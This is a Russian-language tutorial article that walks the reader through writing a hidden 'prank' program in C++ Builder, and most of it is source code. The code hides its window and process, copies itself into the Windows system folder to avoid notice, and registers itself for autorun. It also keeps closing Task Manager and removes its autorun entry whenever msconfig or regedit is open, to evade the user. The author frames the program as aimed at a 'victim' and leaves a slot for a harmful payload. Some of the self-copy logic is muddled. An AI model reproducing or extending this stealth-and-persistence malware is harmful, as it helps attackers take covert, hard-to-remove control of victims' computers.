Я сознательно не буду приводить здесь листингов программы — так лучше
для тех читателей, которые хотят разобраться во всём самому.
Если же тебе нужно получить проект программы полностью, прошу на мой
сайт. Открывай новый проект C++ Builder, переноси на пустую пока форму
компонент TTimer со вкладки System и установи его свойство Interval в
500 (это миллисекунды) и свойство Enabled в true. Затем жми меню 
Projects->ViewSource и перед строчкой «Application->Run;» напиши:
"Application->ShowMainForm = false;" и установи свойство Visible (в Инспекторе Обьетов) формы Form1 в
false. Как ты догадался, это для того, чтобы форму не было видно во время
работы программы. Далее нужно в начале Unit1.cpp добавить три строчки, подключающие 
eader’ы:

#include <registry.hpp> // для работы с реестром
#include <process.h> //
для WinExec
#include <string.h> //
для работы со строками 

Затем после «TForm1 *Form1;» пиши:

// хэндлы для
HWND Window = NULL, //
Диспетчера Задач Windows
MSConfig = NULL, //
окна настройки системы 
Regedit = NULL; //
окна редактора реестра

TRegistry *Reg; // класс реестра
(Registry.hpp)

char *str = «\\Software\\Microsoft\\Windows\\CurrentVersion\\Run»;
//
ключ реестра, где хранятся элементы автозагрузки

Потом напиши функции для записи и удаления этой программы из реестра.
Сначала открой Unit1.h, и в нём после «__fastcall TForm1(TComponent*
Owner);" напиши их прототипы:

void SetReg(); // установка в реестр
void DelReg(); //
удаление оттуда

Далее в конце Unit1.cpp добавь:

void TForm1::SetReg()
{
Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE; 
//
установка корневого ключа (по умолчанию —
HKEY_CURRENT_USER)

Reg->OpenKey(str, true); // открыть ключ (если не сущ.-создать)
Reg->WriteString(«program», Application->ExeName); 
//
пишем программу в автозапуск. «program»-произвольное имя, второй параметр — 
//
путь к программе
Reg->CloseKey(); // закрытие 
delete (Reg); 
Reg = NULL;
}

void TForm1::DelReg()
{
Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey(str, true);
Reg->DeleteValue(«program»); //
удаление параметра
Reg->CloseKey();
delete (Reg);
Reg = NULL;
}

Потом напиши функцию void Zapadlo() так же, как это сделал я с DelReg и
SetReg, и которая будет выполнять собственно заподлянские действия. Её пока
можешь оставить пустой. Теперь осталось написать в 
__fastcall TForm1::TForm1(TComponent* Owner): TForm(Owner) вот это:

// сейчас защита от CTRL — ALT — DEL (в
95/98/ME)

BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId, DWORD dwType);
//
Описание функции RegisterServiceProcess
HINSTANCE hKernel; //
загружаемая Dll
(Kernel)

int id = 1;

hKernel = LoadLibrary(«KERNEL32.DLL»); // загрузка Dll

if(hKernel) // если успешно
{
RegisterServiceProcess = (int(__stdcall*)(DWORD,DWORD))GetProcAddress(hKernel, «RegisterServiceProcess»);
//
получение указателя на функцию
if(RegisterServiceProcess) //
если она сущесивует (в NT/2000/XP её нет)
RegisterServiceProcess(GetCurrentProcessId(), id); //
выполнение

FreeLibrary(hKernel); // закрытие библиотеки

const int n = 1024;
char sysdir[n], tmpstr[n]; 

for (int i = 0;i < n;i++) sysdir[i] = tmpstr[i] = ‘\0’;
// очистка строк 

GetSystemDirectory(sysdir, n); // ф — ия WinAPI, находит. сист. папку
//
теперь в sysdir — путь к сист. папке
strcpy(tmpstr, sysdir); //
копирование sysdir в tmpstr
strcat(tmpstr, «\\program.exe»); //
новое имя файла проги
if (FileExists(tmpstr)) //
файл сущ. — первый запуск
{
CopyFile(Application->ExeName.c_str(), tmpstr, false);
//
копирование себя в системную папку (чтобы не засекли)
WinExec(«program.exe», SW_HIDE); //
запуск нового файла 
Application->Terminate(); // завершение работы программы
//
но работает программа в системной директории 
}
else //
второй и далее запуски
SetReg(); //
в автозапуск 

Ну всё, подготовительные действия закончились, приступим к главному.
Итак, кликни в инспекторе объектов на событии OnTimer компонента Timer1,
ранее перенесённого на форму (напомню, интервал — 500 мс.), и напиши в
обработчике его события:

Zapadlo(); // собственно заподлянские действия (ранее написанные) 
Window = FindWindow(«#32770», «Диспетчер задач Windows»);
//
это поиск хэндла Диспетчера задач, где «#32770» — класс окна
if (Window) //
если найдено
{
SendMessage(Window, WM_CLOSE, NULL, NULL); //
просто закрываем 
//
если хочешь сделать с Диспетчером что — нибудь круче — см. выше

MSConfig = FindWindow(«#32770», «Настройка системы»);
//
поиск MSConfig.exe
if (MSConfig)
{
DelReg(); //
убиваем прогу из автозапуска
return; //
и выход из функции (больше здесь нефиг делать)
}
else //
если не открыто
SetReg(); //
прогу -> в автозапуск

Regedit = FindWindow(«RegEdit_RegEdit», NULL); // поиск Regedit.exe
if (Regedit) //
аналогично
{
DelReg();
return; 
}
else SetReg();

Вот и всё. Теперь ещё надо запихать что — то дельное в Zapadlo, и успех
твоей заподлянке обеспечен на все 100%!!! Не позавидую твоей жертве 🙂

Наконец, последнее. Может быть, я напишу статью про то «дельное», т.е.
про сами заподлянские действия — наверное, в ближайшем будущем. Пожелания,
поправки и прочее — на мыло.  До встречи! 

George
www.omega-group.narod.ru // пока ещё строится

Оставить мнение

Check Also

Цифровой паноптикум. Настоящее и будущее тотальной слежки за пользователями

Даже если ты тщательно заботишься о защите своих данных, это не даст тебе желаемой приватн…